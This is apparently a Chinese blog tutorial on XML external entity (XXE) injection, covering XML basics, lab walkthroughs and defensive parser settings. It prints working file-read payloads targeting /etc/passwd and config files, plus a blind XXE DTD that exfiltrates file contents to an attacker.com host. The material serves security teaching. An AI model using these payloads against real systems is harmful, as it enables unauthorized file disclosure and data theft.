XXE漏洞攻击的溯源分析与实战


一、XML基础概念

1.1 XML是什么

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <user>
        <name>admin</name>
        <age>25</age>
    </user>
</root>

XML特点:

  • 可扩展标记语言,用于传输和存储数据
  • 标签可自定义
  • 严格的语法要求(标签必须闭合)

1.2 XML与HTML的区别

对比项 XML HTML
**设计目的** 传输和存储数据 显示数据
**标签** 自定义 预定义
**语法** 严格 宽松
**焦点** 数据内容 数据外观

1.3 常见XML应用场景

pom.xml(Maven配置文件):

复制代码
<project>
    <groupId>com.example</groupId>
    <artifactId>myproject</artifactId>
    <version>1.0.0</version>
</project>

web.xml(Java Web配置):

复制代码
<web-app>
    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.example.HelloServlet</servlet-class>
    </servlet>
</web-app>

MyBatis配置(SQL映射):

复制代码
<select id="getUser" resultType="User">
    SELECT * FROM users WHERE id = #{id}
</select>

二、XXE漏洞原理

2.1 什么是XXE

XXE(XML External Entity Injection,XML外部实体注入)是一种Web安全漏洞,攻击者通过构造恶意XML,引用外部实体来读取服务器文件或执行其他操作。

攻击原理:

复制代码
┌─────────────────────────────────────────────────────────┐
│                    XXE攻击流程                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  攻击者 ──恶意XML──→ Web服务器 ──解析XML──→ 读取文件   │
│                                         ↓              │
│                                    执行外部实体         │
│                                                         │
└─────────────────────────────────────────────────────────┘

2.2 XXE文件读取攻击

基础Payload:

复制代码
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Windows路径:

复制代码
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>

2.3 无回显XXE(Blind XXE)

当服务器不直接返回文件内容时,需要使用外带通道:

第一步:准备DTD文件(放在攻击者服务器)

复制代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfiltrate;

第二步:构造恶意XML

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/malicious.dtd">
<foo>&exfiltrate;</foo>

第三步:接收数据的PHP脚本(get.php)

复制代码
<?php
$data = $_GET['data'];
file_put_contents('log.txt', $data . "\n", FILE_APPEND);
?>

三、XXE实战靶场

3.1 Pikachu靶场实战

1. 访问靶场:

复制代码
http://localhost/pikachu/vul/xxe/xxe_1.php

2. 准备测试文件:

复制代码
# 在桌面创建1.txt
echo "Hello XXE!" > /Users/xxx/Desktop/1.txt

3. 构造攻击Payload:

复制代码
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>

4. 将Payload粘贴到输入框提交,查看返回结果

3.2 xxe-lab靶场

1. 登录并截取请求包

2. 修改请求体为恶意XML:

复制代码
<?xml version="1.0"?>
<!DOCTYPE hack[
<!ENTITY admin SYSTEM "file:///var/www/html/admin.php">
]>
<user><username>&admin;</username><password>test</password></user>

3. 获取管理员密码


四、XXE综合案例

4.1 环境准备

复制代码
# 1. 设置网络环境
# 2. 登录目标系统
# 3. 端口扫描(查找开放服务)
nmap -sV 192.168.1.100

# 4. 目录扫描
dirsearch -u http://target.com -e php,xml

4.2 漏洞探测

复制代码
# 测试是否存在XXE
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY test "Hello">
]>
<root>&test;</root>

4.3 获取敏感文件

复制代码
# 读取配置文件
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<foo>&xxe;</foo>

4.4 解密FLAG

复制代码
# 获取到加密的FLAG后进行解密
# 第一次解密 -> 第二次解密 -> 获得最终FLAG

五、XXE漏洞防御

5.1 禁用外部实体(推荐)

PHP配置:

复制代码
// php.ini
libxml_disable_entity_loader(true);

Java配置:

复制代码
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python配置:

复制代码
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml_content, parser)

5.2 输入验证

复制代码
# 只允许特定的标签和属性
allowed_tags = ['user', 'name', 'email']
allowed_attrs = []

# 验证XML结构

5.3 使用安全的XML解析库

语言 安全库 不安全库
PHP DOMDocument SimpleXML
Java DocumentBuilderFactory -
Python lxml (resolve_entities=False) xml.etree

六、总结

XXE要点

类型 说明
**原理** 通过XML外部实体注入读取文件
**危害** 读取敏感文件、内网探测、SSRF
**防御** 禁用外部实体、输入验证

学习建议

  1. 练习靶场: Pikachu、xxe-lab

  2. 掌握工具: Burp Suite、dirsearch

  3. 理解原理: XML解析机制、外部实体引用

  4. 防御意识: 服务端禁用外部实体

**安全提醒:** 本文仅供学习研究,请勿用于非法用途!

相关推荐
谪星·阿凯3 小时前
vulntarget-a内网靶场通关博客
网络安全·内网渗透靶场
菩提小狗4 小时前
每日安全情报报告 · 2026-05-30
网络安全·漏洞·cve·安全情报·每日安全
IPHWT 零软网络13 小时前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术
сокол21 小时前
【网安-Web渗透测试-免杀系列】内存免杀(无文件落地)
windows·网络安全
学习溢出1 天前
【网络安全】追踪PowerShell命令历史
安全·网络安全
Sombra_Olivia1 天前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
大方子1 天前
【PolarCTF】bllbl_ser1
网络安全·polarctf
Chengbei111 天前
小程序 AI 渗透新工具MCP!打通调试与安全检测、网络抓包、接口分析、越权检测一站式实现
人工智能·安全·web安全·搜索引擎·网络安全·小程序·系统安全